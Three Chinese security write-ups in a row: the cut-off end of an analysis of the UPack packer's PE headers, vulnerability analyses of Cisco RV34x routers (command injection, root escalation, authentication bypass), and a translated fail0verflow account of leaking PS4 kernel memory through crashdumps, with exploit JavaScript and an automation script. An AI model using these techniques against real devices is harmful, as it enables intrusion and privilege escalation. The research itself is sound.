可以看见在变形的PE头中，PE的文件头表示位置非常靠前，并且在文件头中设置出现了函数名称，这些看似非常离谱的操作其实都非常巧妙，下面逐步分析。
## 重叠文件头：
在UPack压缩后的PE文件头中， _IMAGE_DOS_HEADER与 _IMAGE_NT_HEADERS其实是重叠的，先来复习一下
_IMAGE_DOS_HEADER结构体的成员：（代码来源为winnt.h）
typedef struct _IMAGE_DOS_HEADER { // DOS .EXE header
WORD e_magic; // Magic number
WORD e_cblp; // Bytes on last page of file
WORD e_cp; // Pages in file
WORD e_crlc; // Relocations
WORD e_cparhdr; // Size of header in paragraphs
WORD e_minalloc; // Minimum extra paragraphs needed
WORD e_maxalloc; // Maximum extra paragraphs needed
WORD e_ss; // Initial (relative) SS value
WORD e_sp; // Initial SP value
WORD e_csum; // Checksum
WORD e_ip; // Initial IP value
WORD e_cs; // Initial (relative) CS value
WORD e_lfarlc; // File address of relocation table
WORD e_ovno; // Overlay number
WORD e_res[4]; // Reserved words
WORD e_oemid; // OEM identifier (for e_oeminfo)
WORD e_oeminfo; // OEM information; e_oemid specific
WORD e_res2[10]; // Reserved words
LONG e_lfanew; // File address of new exe header
} IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;
其中最重要的成员就只有两个：
e_magic
e_lfanew
分别是魔数和NT文件头的起始位置，在压缩后的文件头中来找一下这两个信息：
开头是固定的4D 5A（MZ的ASCII码值）， **e_lfanew的值为0x10**
由于_IMAGE_NT_HEADERS的开始位置其实是由e_lfanew这个值决定的，将 _IMAGE_NT_HEADERS的位置置于
_IMAGE_DOS_HEADER之中，利用了DOS头中没有用的部分，这样就节约了空间也使PE装载器的反调试变得更困难。
## _IMAGE_FILE_HEADER.SizeOfOptionalHeader:
为了确定OptionalHeader的位置，首先看一下FILE_HEADER结构体：
typedef struct _IMAGE_FILE_HEADER {
WORD Machine;
WORD NumberOfSections;
DWORD TimeDateStamp;
DWORD PointerToSymbolTable;
DWORD NumberOfSymbols;
WORD SizeOfOptionalHeader;
WORD Characteristics;
} IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER;
在在大多数PE文件头中，OptionalHeader的大小看起来是固定的，32位下是0xE0，在64位下是0xF0。
其实这是一个误区，OptionalHeader的具体大小其实是由FILE_HEADER中的SizeOfOptionalHeader来决定的，这样的设计就为这种超越常理的PE头提供了条件，，回到Stud_PE中看一下这个值：
这个值是0x148，比正常的32位OptionalHeader的大小要大一点，那么为什么要改变这个值呢？这是由于压缩器将PE头扭曲后，为了让其能够正常运行就需要进行解码，而进行解码的代码就放在额外的区域之中。
首先来计算一下SECTION_HEADER的起始位置，前面得到OptionalHeader的大小为0x148，OptionalHeader的起始位置是0x28，所以SECTION_HEADER的起始位置应该是：0x28+0x148
= 0x170，而OptionalHeader结束的位置的地方是0xD7，所以从0xD7到0x170这段空间中存储的就是程序的解码代码，也就是下面这个区域：
进入OD中看下这部分代码的操作：
中间出现了rep和stos这两个非常明显的循环以及传送指令，这其实就是程序再将解码出的代码传送到相应区域，后面的调试中会再次接触到解码代码。
## _IMAGE_OPTIONAL_HEADER.NumberOfRvaAndSizes:
按照常规的PE头，处于OptionalHeader末尾的数据目录数组的个数应该是0x10，其实这个数目是由OptionalHeader中的NumberOfRvaAndSizes来决定的，回头看一下前面找到的这个信息：
然后再来看一下数据目录的完整结构：
typedef struct _IMAGE_DATA_DIRECTORY {
DWORD VirtualAddress;
DWORD Size;
} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;
以及数据目录的0x10个完整成员：
#define IMAGE_DIRECTORY_ENTRY_EXPORT 0 // Export Directory 导出表:动态链接库导出的函数会显示在这里
#define IMAGE_DIRECTORY_ENTRY_IMPORT 1 // Import Directory 导入表:写程序时调用的动态链接库会显示在这里
#define IMAGE_DIRECTORY_ENTRY_RESOURCE 2 // Resource Directory 资源表:图片,图标,字符串,嵌入的程序都在这里
#define IMAGE_DIRECTORY_ENTRY_EXCEPTION 3 // Exception Directory 异常目录表:保存文件中异常处理相关的数据
#define IMAGE_DIRECTORY_ENTRY_SECURITY 4 // Security Directory 安全目录:存放数字签名和安全证书之类的东西
#define IMAGE_DIRECTORY_ENTRY_BASERELOC 5 // Base Relocation Table 基础重定位表:保存需要执行重定位的代码偏移
#define IMAGE_DIRECTORY_ENTRY_DEBUG 6 // Debug Directory 调试表
// IMAGE_DIRECTORY_ENTRY_COPYRIGHT 7 // (X86 usage)
#define IMAGE_DIRECTORY_ENTRY_ARCHITECTURE 7 // Architecture Specific Data 缓存信息表:有一些保留字段必须是0
#define IMAGE_DIRECTORY_ENTRY_GLOBALPTR 8 // RVA of GP 全局指针偏移目录
#define IMAGE_DIRECTORY_ENTRY_TLS 9 // TLS Directory 线程局部存储(暂时未知)
#define IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG 10 // Load Configuration Directory 载入配置
#define IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT 11 // Bound Import Directory in headers 存储一些API的绑定输入信息
#define IMAGE_DIRECTORY_ENTRY_IAT 12 // Import Address Table 导入地址表：导入函数的地址
#define IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT 13 // Delay Load Import Descriptors
#define IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR 14 // COM Runtime descriptor com运行时的目录
这里的数字是0xA，而省略的那一部分被填充进了程序的解码代码，也就是说从LAOD_CONFIG开始，后面的6个数据目录被忽略的，也就是上一个部分提到的，在0xD8开始的那一部分。
## _IMAGE_SECTION_HEADER：
前面结束了FILE_HEADER和OPTIONAL_HEADER的分析，那么紧接着的就是节区头，根据前面的分析，节区头的起始位置应该在0x170，然后来看一下节区头（SECTION_HEADER）结构体的构成：
typedef struct _IMAGE_SECTION_HEADER {
BYTE Name[IMAGE_SIZEOF_SHORT_NAME];
union {
DWORD PhysicalAddress;
DWORD VirtualSize;
} Misc;
DWORD VirtualAddress;
DWORD SizeOfRawData;
DWORD PointerToRawData;
DWORD PointerToRelocations;
DWORD PointerToLinenumbers;
WORD NumberOfRelocations;
WORD NumberOfLinenumbers;
DWORD Characteristics;
} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;
在看一下Stud_PE中区段表：
可以发现有总共有三个节区，所以应该有三个节区头，这里可以发现一个很奇怪的事：节区一和节区三的Raw Address和Raw
size是一样的，也就是说，这两个节区是重叠的，这是UPack的一个重要操作：重叠节区，下面会详细介绍这个操作。
### 重叠节区：
根据tud_PE中的区段信息，可以得知第一节区和第三节区是重叠的，但是文件在被映射到内存时，文件中0x10~0x1FF这段内容会被分别映射到其实地址为0x1000和0x27000的两块内存中，大概的映射过程如下图所示：
这里还可以发现一个信息，第二节区的大小是AE28，这比第一和第三节区打了很多，其实这里就是原本notepad.exe的代码压缩后存储的地方，它在文件被装入内存时填充进第二节区中，在经过程序中的解压代码处理后再放入到第一节区中，而第一节区中就会有可以执行的，完整的代码（
**观察区段信息时其实也可以发现第一节区的virtual size是14000，比第二节区的12000要大一些，其实就是解压后的大小要大一点** ）。
上一篇文章对壳的简述中其实也提到了这个问题，就是经过压缩壳处理后的文件在载入内存时的解压与覆盖操作，如果在上一篇文章中没有理解到的话就可以结合这个例子来看：
1. 将压缩后的代码全部放在一个区段中
2. 再装入内存时设置两个节区（一个大一点的用存储解压后的代码，一个小一点用来存储解压前的代码）
3. 将被解码处理后的代码放入先前准备好的节区中，执行时直接执行该节区中的代码即可
## RVA to RAW转换的新理解：
当涉及到文件到内存的映射时，就会有RVA to RAW的转换，在正常的PE文件中，这个转化的过程是：
RAW - PointerToRawData = RVA - VirtualAddress
RAW = RVA - VirtualAddress + PointerToRawData
如果在UPack处理后的PE文件中也使用这个公式的话，那么第一节区的开始位置就应该是：
RAW = RVA（0x1018）- VirtualAddress(0x1000) + PointerToRawData(0x10)
RAW = 0x28
这里的RVA和PointerToRawData信息要自己去找：
PointerToRawData
RVA（EntryPoint）：
这里计算出来的RAW是0x28，去OD里面看一下这个地方：
这里的数据无法被解析为代码，这也是为什么UPack处理后文件无法被正常解析或者执行的原因，就是由于无法正常进行RVA to RAW转换。那么这个RVA to
RAW的转换应该怎么正常进行？
在OPTIONAL_HEADER中有这样一个成员：
DWORD FileAlignment
这个成员就是文件对齐参数，简单来说就是在文件中的PointerToRawData需要是是它的整数倍，在这个文件中它的值为：0x200
也就是说用于计算RAW的PointerToRawData值需要为0,0x200,0x400,0x600等，而这里的PointerToRawData值为0x10，显然不是整数倍，应该要被处理为0才能正常进行运算，也就是说正确的计算结果应该是：
RAW = RVA（0x1018）- VirtualAddress(0x1000) + PointerToRawData(0)
RAW = 0x18
到OD中看一下这个部分：
这里出现了跳转指令和数据传送指令，基本可以判断这里就是正确的EP。
## IMAGE_IMPORT_DESCRIPTOR：
现在分析只剩下最后一个重要的结构了，就是这个程序的导入表，UPack处理后的导入表构造很奇特，下面来具体看一下：
首先在OPTIONAL_HEADER中找到导入表的数据目录：
RVA是0x217EE，Size为0x14；根据这个RVA找到导入表的具体位置：
蓝框选中的部分即使导入表的数据，再来看一下导入表结构体的构造：
typedef struct _IMAGE_IMPORT_DESCRIPTOR {
union {
DWORD Characteristics; // 0 for terminating null import descriptor
DWORD OriginalFirstThunk; // RVA to original unbound IAT (PIMAGE_THUNK_DATA)
} DUMMYUNIONNAME;
DWORD TimeDateStamp; // 0 if not bound,
// -1 if bound, and real date\time stamp
// in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new BIND)
// O.W. date/time stamp of DLL bound to (Old BIND)
DWORD ForwarderChain; // -1 if no forwarders
DWORD Name;
DWORD FirstThunk; // RVA to IAT (if bound this IAT has actual addresses)
} IMAGE_IMPORT_DESCRIPTOR;
那么就可以找到这几个关键信息：
DWORD Name:0x2
DWORD FirstThunk:0x11E8
根据这两个RVA可以找到name的RVA为：0x2 FirstThunk的RVA为0x1E8:
Name:
FirstThunk(先找指针再找数据):
到这里看起来一切都是正常的，但是按照正常的规范来说，导入表后应该用一个NULL的结构体作为结尾，但是这里却没有正常使用NULL结构体截断导入表，这里其实就是他奇特的地方：
**它使用区段的结束作为导入表的结束**
什么意思呢？首先我们知道 **第一节区的结束位置是：0x10 + 0x1F0 = 0x200**
，也就是说，第一节区的数据在0X200的地方就截断了，导入表只使用了一个WORD来表示FirstThunk，而0x200后面的数据不会被映射入第一节区，导入表就这要被截断了（省去了一个NULL结构体的空间）
### IAT与INT：
在学习PE文件的时候总会遇到这个问题，就是IAT与INT到底有什么区别？
这两个结构的差异要看阶段，当文件处于磁盘中时，这两个结构是相同的，使用的都是一个位置上的数据，但是当文件被加载到内存中时，
**IAT中的数据会根据INT中的函数名称、序号和库文件导出表信息被修改为函数的具体地址，而INT中的数据则保持原样**
，这也是为什么在IMAGE_IMPORT_DESCRIPTOR中INT对应的成员是OriginalFirstThunk（原初首thunk）。
# 调试程序：
**#调试软件是高版本的OD，高版本的OD修复了这个RAW to RAV的bug，可以直接找到EP，旧版本的OD可能需要自己定位一下EP#**
OD打开文件后就是程序的EP：
跟随这个跳转继续调试：
这一段代码的主要操作就是将ESI指向的地址（RVA:10270F0 RAW:F0）开始的0x27个字节拷贝到EDI指向的地址（RVA:0x101FE28
RAW：B028），这个EDI指向的地址正好就是文件的末尾。总体操作就是将文件头中的一段数据复制到文件的末尾。然后继续调试：
来到这样一段代码：
这里有一个函数调用，进入里面看一下：
这其实就是程序中的解码函数，但是光从这个地方来看还看不出来它是什么功能，要继续F8跟踪，来到这样一段代码：
这里发生了一个向前的跳转，转回了了这个地方
也就是这个0x101FCCB的位置上，再次跟踪的话会发现多次调用这个函数，印证了前面说到的它是解码函数的猜想，在调用函数后的操作就是某种算法以及将解码出来的代码放在文件末尾（也就是前面说到的第二节区解码出来的放入第一届全），感兴趣的话可以仔细的去分析一下。
那么当解码循环完成后，又要进行什么操作，我们下断点跳过循环后看一下：
我们单步运行到这个地方：
注意这个call ecx和call ebp，逐步运行，可以发现这个call ecx是调用
LoadLibrary和GetProcAddress这两个函数，也就是出现在我们PE文件头中的两个函数，这两个函数组合起来就是获得某个导入函数的实际地址，并且在call
ebp后出现了一个jmp
跳转回最开始的地方，是一个明显的循环结构，在中间出现了lods的数据传送指令。那么我们就可以基本确定这个地方在循环获取导入函数的地址并填入到IAT中。（
**一直跟踪的话会发现esi中有类似于函数名的字符串在不停变动，也可以印证我们的猜想** ）
这个循环就是在修复被壳抹去的IAT。
在程序完成解码和修复IAT后，就会进入到真正的程序入口地址，也就是OEP，在程序中以RETN的形式表现：
步进到这个retn即可返回程序的OEP：
这里也就找到了程序的OEP：0x100739D
参考资料：
《逆向工程核心原理》 [韩] 李承远
工具下载:
Stud_PE:<https://bbs.pediy.com/thread-246459-1.htm> | 社区文章 |
# 对cisco路由器漏洞分析过程分享
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
本次分析目标靶机为实体机，由于分析对应的多个漏洞均有过官方修复记录，所以将固件刷回较低版本以实现分析及利用实验
ciscoRV34x系列产品以nginx作为中间件进行web服务处理
首先，从官方给固件中解析出文件系统后，分析对web请求的处理流程
以固件版本1.0.2.16为例
在www/cgi-bin/目录下存在3个cgi程序 `blockpage.cgi` `jsonrpc.cgi` `upload.cgi`
这次分析的漏洞成因也正是由于cgi程序处理不当导致的系统命令执行，
找到如何在web界面访问时使用这些程序，就必须要清楚对应请求的路由过程
在/etc/nginx/conf.d/目录下有nginx对应的一些配置文件，下面是一些会用到的配置内容，分别处理`jsonrpc`与`upload` ，
location /jsonrpc {
include uwsgi_params;
proxy_buffering off;
uwsgi_modifier1 9;
uwsgi_pass jsonrpc;
uwsgi_read_timeout 3600;
uwsgi_send_timeout 3600;
}
location /form-file-upload {
include uwsgi_params;
proxy_buffering off;
uwsgi_modifier1 9;
uwsgi_pass 127.0.0.1:9003;
uwsgi_read_timeout 3600;
uwsgi_send_timeout 3600;
}
location /upload {
upload_pass /form-file-upload;
upload_store /tmp/upload;
upload_store_access user:rw group:rw all:rw;
upload_set_form_field $upload_field_name.name "$upload_file_name";
upload_set_form_field $upload_field_name.content_type "$upload_content_type";
upload_set_form_field $upload_field_name.path "$upload_tmp_path";
upload_aggregate_form_field "$upload_field_name.md5" "$upload_file_md5";
upload_aggregate_form_field "$upload_field_name.size" "$upload_file_size";
upload_pass_form_field "^.*$";
upload_cleanup 400 404 499 500-505;
upload_resumable on;
}
对应upload 与jsonrpc配置了对应路由
uWSGI是用于与其他服务器进行通信的本机二进制协议，
可以在/etc/uwsgi中找到对应的配置，设置了请求处理的对应端口以及对应程序
[uwsgi]
plugins = cgi
workers = 1
master = 1
uid = www-data
gid = www-data
socket=127.0.0.1:9003
buffer-size=4096
cgi = /www/cgi-bin/upload.cgi
cgi-allowed-ext = .cgi
cgi-allowed-ext = .pl
cgi-timeout = 300
ignore-sigpipe = true
[uwsgi]
plugins = cgi
workers = 4
master = 1
uid = www-data
gid = www-data
socket=127.0.0.1:9000
buffer-size=4096
cgi = /jsonrpc=/www/cgi-bin/jsonrpc.cgi
cgi-allowed-ext = .cgi
cgi-allowed-ext = .pl
cgi-timeout = 3600
ignore-sigpipe = true
## 漏洞分析
### cve-2020-3451
**漏洞原理**
1.0.0.33～1.0.01.20中，对 **`/upload`** 请求的处理由 **`jsonrpc.cgi`** 处理
在处理请求时有根据固件分析可得 v23由`fileparam`传入，
实际执行到 system(“cp path1 /tmp/www/fileparam”)
其中fileparam可控
**漏洞验证**
路由器采用固件版本 1.0.02.16
截取上传文件时包
根据分析的得到命令执行注入点
反弹shell
成功执行
该漏洞属于对于传入参数没有仔细检查直接用于了命令传参，
**修复方法**
在传入参数之前进行一步检查
阻拦了一些不正常字符的传入
### CVE-2021-1520
**漏洞成因**
漏洞存在于一个perl脚本文件中，/usr/sbin/vpnTimer 用于处理向本地 9999端口的udp请求。
my ($socket,$message);
$socket = new IO::Socket::INET (
LocalAddr => '127.0.0.1',
LocalPort => '9999',
Proto => 'udp',
) or die "ERROR in Socket Creation : $!\n";
主要处理函数
process_timer()
该函数完成工作是从udp请求包中获取message,
my $temp=substr($message,1,);
#print "$temp\n"; #contains connection name
if (index(substr($message,0,1),"+") == 0){
#print "It is for ADD\n";
#Now, check if it is for TVPNC or S2S.
my $isTVPNC=`uci get strongswan.$temp`;
perl语言特性，“ 包含的字符作为命令执行，
所以，在上面的语句中很容易发现 获取到udp传输数据后如果数据以`+`开头，则取出`+`后，将后面的内容作为命令执行参数处理。
由与运行在root下，所以可以达成提权后的命令执行；
**漏洞验证**
先利用上面的漏洞拿到一个交互shell
路由器中 nc是缩水后的，无法发送udp请求，
但是可以使用自带的python发送udp数据包，
root权限的命令执行
**漏洞修复**
在process_timer()中增加了字符的过滤
my $regex = "^[+-][a-zA-Z][0-9a-zA-Z]+_[0-9a-zA-Z]+\$";
if ($message =~ /$regex/) {
if ($log == 1) {
system("logger","-t VPN-timer","Message read: $message");
}
my $temp=substr($message,1,);
#print "$temp\n"; #contains connection name
if (index(substr($message,0,1),"+") == 0){
#print "It is for ADD\n";
#Now, check if it is for TVPNC or S2S.
my $isTVPNC=`uci get strongswan.$temp`;
修复了传参错误的漏洞
### cve-2021-1414
漏洞分析：
该漏洞触发在路由器设置SNMP时处理不当
抓包分析
实际处理程序对应为jsonrpc.cgi
该路由器大部分操作都经由jsonrpc.cgi进行初步处理
首先获取cookie等环境变量，然后分配内存空间将传入数据储存起来
接着进行Debug等信息的处理，对整体分析不重要，略过。
判断cookie条件中的sub_142E8处理`sessionid`和`current-page`
判断contentype中 在sub_143C8处理判断类型后进入到sub_1499C
进一步跟进
这里应该是通过判断参数决定如何下一步处理
根据抓包信息
`"method":"set_snmp"`
确定到分支
sub_12DF8判断session是否合法后进入处理环节
一堆的导入函数，看名称应该是设置处理函数，问题应该出现在这里
查找函数来源库文件；
我们的漏洞不是在这个统一的处理函数中，接下来去分析对应参数的实际函数
这个漏洞的关键字符是snmp，ZDI上有一些关于漏洞的具体描述
根据这个再寻找对应的引用
已知该漏洞是命令执行类漏洞
寻找到popen()或者system之类的命令执行函数
寻找可控参数，
其中v19参数来源
usmUserprivkey可以是我们传入的参数,且没有经过过滤。
发包验证：
### CVE-2021-1472
权限绕过，仅存在于1.0.03.20
location /form-file-upload {
include uwsgi_params;
proxy_buffering off;
uwsgi_modifier1 9;
uwsgi_pass 127.0.0.1:9003;
uwsgi_read_timeout 3600;
uwsgi_send_timeout 3600;
}
location /upload {
set $deny 1;
if ($http_authorization != "") {
set $deny "0";
}
if (-f /tmp/websession/token/$cookie_sessionid) {
set $deny "0";
}
if ($deny = "1") {
return 403;
}
upload_pass /form-file-upload;
upload_store /tmp/upload;
‘’‘’‘
’‘’‘’
}
对于/upload的请求增加了一步验证，假设$http_authorization不为空，就可以越过该验证
查找$http_authorization取来源值
即在头部增加 Authorization 即可令$http_authorization不为空
验证
如果sessionid合法且正确
返回200
如果sessionid被篡改
返回403
增加Authorization头后
返回200
可证明漏洞存在
这个漏洞属于想法与实际的差别，所以在下一个版本中就删除了
### CVE-2021-1473
影响版本 RV34X 1.0.3.20 0.3.20 & below,
**漏洞成因**
漏洞点在upload.cgi中，处理upload请求时
处理函数sub_124A4中，可控的sessionid未经过滤作为参数传给popen
进入到这个函数中
对于不同的处理方法需要额外增添不同的参数绕过（ **这一点很重要** ）
回头看`sessionid`的获取过程，a1对应传入的第一个参数v3
即以分号做间隔，从cookie中取出sessionid，然后通过v3=v12+10取出session
取出sessionid 之后并没有对sessionid作任何检查。
### 漏洞验证
由于不能用`;`借助以前漏洞分析时取得的shell作辅助来验证
执行前&执行后
采用分段命令执行 反弹shell
## 总结
该设备历代漏洞大都属于直接的命令执行，找到通过找到对应执行命令，寻找可以植入的参数，从而发现并利用漏洞，
对于这类设备的重点应该是先理清楚对应路由处理，然后寻找传入参数被使用时是否存在直接的命令执行或者是栈溢出等问题，进行下一步利用 | 社区文章 |
# 给我六天时间，攻破PS4游戏主机内核
##### 译文声明
本文是翻译文章，文章原作者 ps4_enthusiast ，文章来源：fail0verflow.com
原文地址：<https://fail0verflow.com/blog/2017/ps4-crashdump-dump/>
译文仅供参考，具体内容表达以及含义原文为准。
>
> 如果一个安全的设备，存在能让攻击者查看的故障转储（Crashdump）内容，会怎么样？如果该设备允许我们将任意内容写入故障转储，又可以怎么利用呢？令人震惊的是，PlayStation4就存在上述的问题，让我们来看看如何能够利用这些问题攻破PS4。本文仅探讨相关安全技术，且意为提升安全防护。
## PS4的故障转储
我们发现，PS4内核的崩溃处理机制有两个地方是非常值得注意的：
第一，这是PS4特定的代码。
第二，如果故障转储可以被解码，我们将会得到非常有用的信息，可以查找已有的漏洞，并发现可靠的漏洞利用方法。
通常，在FreeBSD系统中，如果发生内核错误（Kernel
Panic），就会通过调用带有RB_DUMP标志的kern_reboot来创建转储。这会导致doadump被调用，该函数会将内核映像中的一小部分信息转储到某个存储设备上。
在PS4上，则以mdbg_run_dump替换了doadump，该函数可以从panic调用，也可以从trap_fatal直接调用。经过比较，我们发现其转储的内容包含着巨大的信息量：既有所有进程、线程、VM对象的内核状态，同时还有已加载库的一些元数据（Metadata）。与FreeBSD系统的另外一个不同之处是，mdbg_run_dump会将其逐字段地编码并记录到转储中，并且在将其存储到磁盘之前，会对产生的缓冲区进行加密。
## 转储所有内容
让我们重点观察mdbg_run_dump的某个特定部分——该部分会遍历所有进程的线程，并尝试转储一些线程属性状态（Pthread State）。
void mdbg_run_dump(struct trapframe *frame) {
// ...
for ( p = allproc; p != NULL; p = cur_proc->p_list.le_next ) {
// ...
for (td = p->p_threads.tqh_first; td != NULL; td = td->td_plist.tqe_next) {
// ...
mdbg_pthread_fill_thrinfo2(&dumpstate, td->td_proc,
(void *)td->td_pcb->pcb_fsbase, sysdump__internal_call_readuser);
// ...
}
// ...
}
// ...
}
void mdbg_pthread_fill_thrinfo2(void *dst, struct proc *p, void *fsbase,
int (*callback)(void *dst, struct proc *p,
signed __int64 va, int len)) {
struct pthread *tcb_thread; // [rsp+8h] [rbp-408h]
u8 pthread[984]; // [rsp+10h] [rbp-400h]
if ( !callback(&tcb_thread, p, (signed __int64)fsbase + 0x10, 8)
&& !callback(pthread, p, (signed __int64)tcb_thread, 984) ) {
*(_QWORD *)dst = *(_QWORD *)&pthread[0xA8];
*((_QWORD *)dst + 1) = *(_QWORD *)&pthread[0xB0];
}
}
int sysdump__internal_call_readuser(void *dst, struct proc *p,
signed __int64 va, int len) {
const void *src; // rsi
struct vmspace *vm; // rcx
int rv; // rax
vm_paddr_t kva; // rax
src = (const void *)va;
if ( va >= 0 ) {
// if va is in userspace, get a kernel mapping of the address
// (note "va" is treated as signed, here)
vm = p->p_vmspace;
rv = EFAULT;
if ( !vm )
return rv;
kva = pmap_extract(vm->vm_pmap, va);
src = (const void *)(kva | -(signed __int64)(kva < 1) | 0xFFFFFE0000000000LL);
}
rv = EFAULT;
if ( src && src != (const void *)-1LL ) {
if ( va < 0 ) {
src = (const void *)va;
} else {
rv = ESRCH;
if ( !p )
return rv;
}
// so, this can still be reached even if "va" is originally in kernel space!
memcpy(dst, src, len);
rv = 0LL;
}
return rv;
}
在上述代码中，我们发现，dumpstate是一个临时缓冲区，最终会进入到故障转储之中。因此，我们可以借助sysdump__internal_call_readuser来打造一个可以读取任意位置的函数。原因在于，fsbase将指向我们WebKit进程的用户模式（Usermode）地址空间。所以，即使不改变实际的fsbase值，我们也可以随意改变存储在fsbase+0x10位置的tcb_thread的值。
接下来，sysdump__internal_call_readuser会从内核地址中进行读取操作，并将读取的结果存入转储之中。
现在，我们就可以实现将内核中任意位置的内容放入转储之中，但是后续还需要对其进行解密和解码。除此之外，恐怕还有一个问题，就是针对每个线程，我们每次只能以这种方式获得0x10个字节。
## 故障转储的解密
经过我们对故障转储加密方式的分析，我们惊讶地发现，它所使用的是对称加密算法，并且还会在相同的固件版本之间使用相同的密钥。这也就意味着，如果内存被转储，我们只需要versioned_keys就可以对其实现解密（具体请参见文末的附录）。
这一问题从1.01固件版本开始就一直存在，并且，目前他们还没有意识到“重复使用可能暴露的对称密钥”是一个非常不安全的选择。在此之后，故障转储仍然是有用的，然而我们必须事先进行一次内核转储，才能获得密钥。
## 故障转储的解码
通过我们对1.01固件版本中符号的分析，发现编码过程被称为“nxdp”。故障转储的编码仅仅是简单地执行长度编码导数，并支持一些原始数据类型。相关的函数解析器，请参见文章末尾的附录。
## 故障转储自动化
如果说针对每个线程，每次只能获取到0x10个字节，那么我们的工作量就会异常巨大。然而，在测试过程中，我们发现在浏览器进程崩溃、挂起或拒绝创建更多线程之前，最多只能同时存在600个线程。基于此，我们做了简单的估算：
full_dump_size = 32MB
crashdump_cycle_time = ~5 minutes
thread_per_crashdump_cycle = 600
per_dump_size = thread_per_crashdump_cycle * 0x10 bytes = 9600 bytes
(full_dump_size / per_dump_size) * crashdump_cycle_time = 11 days
结果表明，大概需要用11天的时间。但最终，通过仔细选择需要转储的内存范围，我们成功将所需时间减少到6天。通常情况下，当我们进行转储时，会更倾向于线性地进行转储，这样一来，将有助于引入.bss和其他段，从而方便我们的静态分析工作。
在有了可以将内核通过故障转储泄露出来的先决条件之后，我们着手研究这一过程的自动化，这样一来，我就可以放心地让它自己去运行，并在几天之后能够收获到一个全新的内核转储。
由于PS4内核会将故障转储保存到硬盘驱动器中，因此我需要找到一种方法来拦截传输中的数据，或者找到一种方法直接在硬盘中读取数据。恰好，我在这时听说了vpikhur针对EAP的研究成果。关于攻击EAP的细节我们就不在本文讨论，详情请参阅他的演讲内容（[https://twitter.com/vpikhur/status/942123298392903681](https://twitter.com/vpikhur/status/942123298392903681)）。通过他的研究，我们知道EAP时Aeolia南桥中的一个嵌入式处理器，并且vpikhur已经解决了“如何获得持久的内核级代码并执行”这一问题。通过学习这一方法，我制作了一个EAP内核二进制文件，可以用来检测硬盘中的故障转储，并通过网络将其传输到我的电脑上。
在实现这一功能后，我对一些硬件部分进行了改动，具体来说是将PS4的电源开关接入网络，同时使用Linux的USB Gadget
API模拟到PS4的输入。至此，我就可以使用简单的脚本来实现整个过程了。以下代码是在我的电脑上运行，并且会与用来控制PS4的远程控制Web服务器Novena进行通信：
import requests, time
import socket
import parse_dump
import struct
from io import BytesIO
import sys, traceback
remote_server = 'novena ip'
def send_cmd(cmd):
requests.get('http://%s' % (remote_server), headers = {'remote-cmd' : cmd})
def dump_index_get():
with open('dump-index') as f:
return int(f.read())
return 0
def dump_index_set(index):
print('setting dump-index to %i' % (index))
with open('dump-index', 'w') as f:
f.write('%i' % (index))
def dump_index_increment():
index = dump_index_get()
dump_index_set(index + 1)
def process_dump(partition_data):
nxdp = parse_dump.NXDP(BytesIO(parse_dump.Decryptor(partition_data).data))
# uses the most recent thread_info sent to the http server to transpose
# the dump data into flat memory dumps
nxdp.dump_thread_leak()
def recv_dump():
sock = socket.socket()
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('', 1339))
sock.listen(1)
conn, addr = sock.accept()
with conn:
magic = struct.unpack('<L', conn.recv(4))[0]
if magic != 0x13371337:
print('bad magic')
length, status = struct.unpack('<2L', conn.recv(4 * 2))
if status != 0:
print('bad status')
data = b''
while len(data) < length:
data += conn.recv(0x8000)
process_dump(data)
dump_index_set(dump_index_get())
# turn on
send_cmd('power')
while True:
# boot from healthy state takes ~30 seconds
time.sleep(35)
# going to browser should load exploit and crash ps4
send_cmd('start-browser')
# wait for exploit to run and ps4 to power off completely
time.sleep(20)
# power on ps4
# it will go through fsck (~60secs) and boot to a "send error report?" screen.
send_cmd('power') # power must be pressed twice...
time.sleep(2)
send_cmd('power')
time.sleep(60) # fsck
time.sleep(35) # power-up
# go past "send error report?" screen...
send_cmd('ack-crash')
# wait for xmb to load
time.sleep(10)
# go to rest mode to let EAP do it's thing
send_cmd('suspend')
# wait for data to arrive and process it
try:
recv_dump()
# after recving all data from EAP, need to wait for reboot (done on loop)
# assuming EAP sent data OK, it will reboot by itself into healthy state
dump_index_increment()
except:
# expect that nxdp data was recv'd, but decode fail -> just retry same
# position
exc_type, exc_value, exc_traceback = sys.exc_info()
traceback.print_exception(exc_type, exc_value, exc_traceback)
print('nxdp decode failed, retry')
## 触发漏洞
为了逐步对我此前指定的区域进行转储，我创建了一个简单的JSON
Schema来记录元数据，这些元数据可以用来将TID绑定到其故障转储部分所包含的内核地址，并且保留每次运行所使用的基地址
（在这里是getDumpIndex()）。 下面是在PS4浏览器进程中执行的部分JS代码，这段代码的作用是启动故障转储：
...
// spawn threads which will just spin, and modify tcb->tcb_thread
// inf loop around nanosleep(30 secs)
var thread_map = [];
for (var thrcnt = 0; thrcnt < 600; thrcnt++) {
var local_buf = scratchPtr.plus(0x2000);
var rv = doCall(gadgets.pthread_create, local_buf, 0,
syms.libkernel.inf_loop_with_nanosleep, 0);
var thread = read64(local_buf);
var tcb = read64(thread.plus(0x1e0));
var tid = read32(thread);
thread_map.push({ tcb_thread_ptr : tcb.plus(0x10), thr_idx : thrcnt,
tid : tid});
}
// this was for back when there was no kernel .text aslr :)
var dump_base = new U64(0x80000000, 0xffffffff);
dump_base = dump_base.plus(600 * 0x10 * getDumpIndex());
// sync layout so dumped memory can be ordered correctly
sendThreadInfo(dump_base, thread_map);
// wait for threads to start - delayed start could overwrite tcb_thread
doCall(gadgets.sleep, 3);
// now set tcb_thread
dump_base = dump_base.minus(0xa8);
for (var i = 0; i < thread_map.length; i++) {
// 0x10 bytes at each tcb_thread + 0xa8 will be added to dump
var t = thread_map[i];
var dumpaddr = dump_base.plus(t.thr_idx * 0x10);
write64(t.tcb_thread_ptr, dumpaddr);
}
// panic (here, using namedobj bug to free invalid pointer)
kernel_free(toU64(0xdeadbeef));
return;
}
